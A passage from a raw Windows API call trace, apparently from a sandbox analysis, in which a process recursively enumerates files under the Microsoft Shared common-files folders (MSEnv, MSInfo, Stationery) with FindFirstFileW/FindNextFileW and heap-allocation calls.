cAlternateFileName="")) returned 1 [0266.492] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c391299, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c391299, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c391299, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0266.492] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c31eb63, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c31eb63, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c31eb63, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="skchobj.dll", cAlternateFileName="")) returned 1 [0266.492] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c2f8900, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c2f8900, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c2f8900, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="skchui.dll", cAlternateFileName="")) returned 1 [0266.492] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ff8b9e4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe4dac572, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe4dac572, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5320, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip32.exe", cAlternateFileName="")) returned 1 [0266.492] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x7dfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0266.492] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c36b032, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c36b032, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c36b032, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0266.492] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c36b032, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c36b032, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c36b032, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 0 [0266.493] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0266.493] GetProcessHeap () returned 0xc10000 [0266.493] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.494] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSEnv", cAlternateFileName="")) returned 1 [0266.494] GetProcessHeap () returned 0xc10000 [0266.494] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.494] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSEnv\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0266.499] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.500] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 1 [0266.500] GetProcessHeap () returned 0xc10000 [0266.500] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSEnv\\PublicAssemblies\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0266.502] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3240, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensibility.dll", cAlternateFileName="EXTENS~1.DLL")) returned 1 [0266.502] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c8c3a00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5c8c3a00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3240, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensibility.dll", cAlternateFileName="EXTENS~1.DLL")) returned 0 [0266.502] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0266.503] GetProcessHeap () returned 0xc10000 [0266.503] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.503] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 0 [0266.503] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0266.503] GetProcessHeap () returned 0xc10000 [0266.503] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.503] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb76134e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0266.503] GetProcessHeap () returned 0xc10000 [0266.503] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.503] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb76134e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0266.504] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb76134e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.504] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7621f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0266.504] GetProcessHeap () returned 0xc10000 [0266.504] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.504] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7621f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0266.505] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7621f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.505] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40bda463, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x78f57a4e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x25839900, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0266.505] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40bda463, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x78f57a4e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x25839900, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0266.505] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0266.505] GetProcessHeap () returned 0xc10000 [0266.505] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.505] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f4006c, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x16fbff39, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x47f4006c, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x52a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0266.505] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f4006c, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x16fbff39, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x47f4006c, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x52a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0266.505] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0266.505] GetProcessHeap () returned 0xc10000 [0266.505] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.505] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7edc75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0266.505] GetProcessHeap () returned 0xc10000 [0266.506] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\Stationery\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7edc75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0266.509] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7edc75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.509] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.htm", cAlternateFileName="")) returned 1 [0266.509] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bears.jpg", cAlternateFileName="")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a6754cb, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5e12866, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5e12866, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1 [0266.510] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1 [0266.511] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0266.511] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dbed8e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97dbed8e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97dbed8e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0266.511] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ef40 